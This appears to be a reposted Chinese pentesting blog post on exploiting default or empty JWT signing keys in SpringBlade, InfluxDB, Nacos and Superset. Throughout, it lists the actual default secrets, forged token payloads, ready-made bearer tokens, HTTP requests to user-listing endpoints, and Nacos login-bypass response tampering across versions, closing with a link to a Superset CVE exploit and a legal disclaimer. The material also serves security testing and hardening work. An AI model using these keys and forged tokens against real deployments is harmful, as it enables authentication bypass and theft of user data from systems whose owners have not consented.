文章总结: 本文记录了SpringBlade、InfluxDB、Nacos及Superset等软件的JWT默认密钥利用方法。文章针对各组件提供了具体密钥、Token构造方式及接口差异,并详细说明了利用默认或空密钥伪造身份令牌以绕过认证、获取敏感信息的操作流程。 综合评分: 83 文章分类: 漏洞分析,漏洞POC,渗透测试,WEB安全,应用安全
记录一些JWT默认密钥的玩法
原创
carrypan
安全艺术
2024年1月2日 11:40 北京
1、Spring blade jwt默认密钥
默认密钥
bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject
https://jwt.io/,在线生成token,把过期时间干掉
{ "tenant_id": "000000", "tenant_code":"000000", "user_name": "admin", "role_name": "administrator", "nick_name": "管理员", "account": "admin"}
一些获取敏感信息的接口
GET /api/blade-user/user-list
GET /api/blade-user/export-user
Blade-Auth: Bearer jwt内容
注:basrurl有可能会被修改,如api改为了prod-api等,记得同步修改下
2、influxDB 空密钥
{"alg": "HS256","typ": "JWT"}{"username": "admin","exp": 1716239022}
空密钥
POST /query HTTP/1.1Host: 192.168.124.3:8086Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE2MjM5MDIyfQ.jo8FUdPG0-_DBrXzkWvIja5fNbK-1rgs8pss46nKJuEUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 22
db=sample&q=show+users
3、Nacos默认密钥
SecretKey012345678901234567890123456789012345678901234567890123456789
密钥需要进行base64加密,记得勾选下
时间戳需要大于目前时间
V 1.4.2读取用户列表
/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMzkxMzUxOX0.5GtqiosqezbWQUgLxEjqrbtKFcdD0bVv9ht_hggRR44
V 2.2.0 需要增加search参数
/nacos/v1/auth/users?search=blur&pageNo=1&pageSize=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMzkxMzUxOX0.5GtqiosqezbWQUgLxEjqrbtKFcdD0bVv9ht_hggRR44
存在auth/users接口的登录绕过,拦截响应包,改为
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU","tokenTtl": 18000,"globalAdmin": true,"username":"nacos"}
测试发现0.8.0版本不存在auth/users接口,它的登录绕过的响应包构造成如下形式
{ "sub": "nacos", "auth": "", "exp": 1704423328}
HTTP/2 200 OKDate: Tue, 02 Jan 2024 02:08:34 GMTContent-Type: application/json;charset=UTF-8Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImF1dGgiOiIiLCJleHAiOjE3MDQ0MjMzMjh9.IV97OBWpBmogVI7xf7AFLZEn28SHtOHbOmJabqXPhbM
{"code":200,"message":"null","data":"Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImF1dGgiOiIiLCJleHAiOjE3MDQ0MjMzMjh9.IV97OBWpBmogVI7xf7AFLZEn28SHtOHbOmJabqXPhbM"}
4、Superset默认密钥
SECRET_KEYS = [ b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 b'thisISaSECRET_1234', # deployment template b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation b'TEST_NON_DEV_SECRET' # docker compose]
利用:https://github.com/horizon3ai/CVE-2023-27524
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全艺术 carrypan《记录一些JWT默认密钥的玩法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论